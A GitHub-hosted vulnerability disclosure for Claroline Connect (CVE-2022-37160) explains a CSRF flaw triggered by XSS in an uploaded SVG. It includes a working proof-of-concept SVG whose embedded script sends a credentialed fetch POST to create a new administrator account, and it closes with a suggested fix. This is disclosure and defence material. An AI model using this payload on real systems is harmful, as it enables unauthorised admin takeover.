<> Code   ⊙ Issues   ⢁⢁ Pull requests   ▷ Actions   ▦ Projects   ⊘ Security   ⬚ Insights

ᛦ main ▾   ···

claroline-CVEs / **csrf** / **csrf.md**

Ⓐ **matthieu-hackwitharts** Update csrf.md   ⟳ History

ᯄ **1 contributor**

13 lines (6 sloc) | 636 Bytes   ···

Admin account takeover (CSRF) via XSS because of arbitrary file upload (CVE-2022-37160)

Claroline Connect is affected by a CSRF vulnerability, because of missing CSRF tokens or other protection means. This CSRF can be triggered via the Claroline's API, by combining an XSS vulnerability (like svg maybe ?) with a fetch request to the API. An arbitrary user with admin rights can be created by triggering the XSS from an admin user.

Example of POC :

```xml
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
<script>
fetch("http://127.0.0.1/apiv2/user", {
  "headers": {
    "accept": "*/*",
    "accept-language": "en-US,en;q=0.9",
    "content-type": "application/json; charset=utf-8",
    "proxy-connection": "keep-alive",
    "sec-ch-ua": "\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"92\"",
    "sec-ch-ua-mobile": "?0",
    "sec-fetch-dest": "empty",
    "sec-fetch-mode": "cors",
    "sec-fetch-site": "same-origin",
    "x-requested-with": "XMLHttpRequest"
  },
  "referrer": "http://127.0.0.1/",
  "referrerPolicy": "strict-origin-when-cross-origin",
  "body": "{\"meta\":{\"publicUrlTuned\":false},\"permissions\":
{\"contact\":true,\"edit\":true,\"administrate\":true,\"delete\":true},\"restrictions\":
{\"disabled\":false,\"dates\":
[]},\"lastName\":\"burp\",\"firstName\":\"test\",\"email\":\"burp@gmail.com\",\"username\":\"burpuser\"
,\"plainPassword\":\"test\"}",
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
});
</script>
</svg>
```

Fix suggest : adding CSRF tokens or other protection way.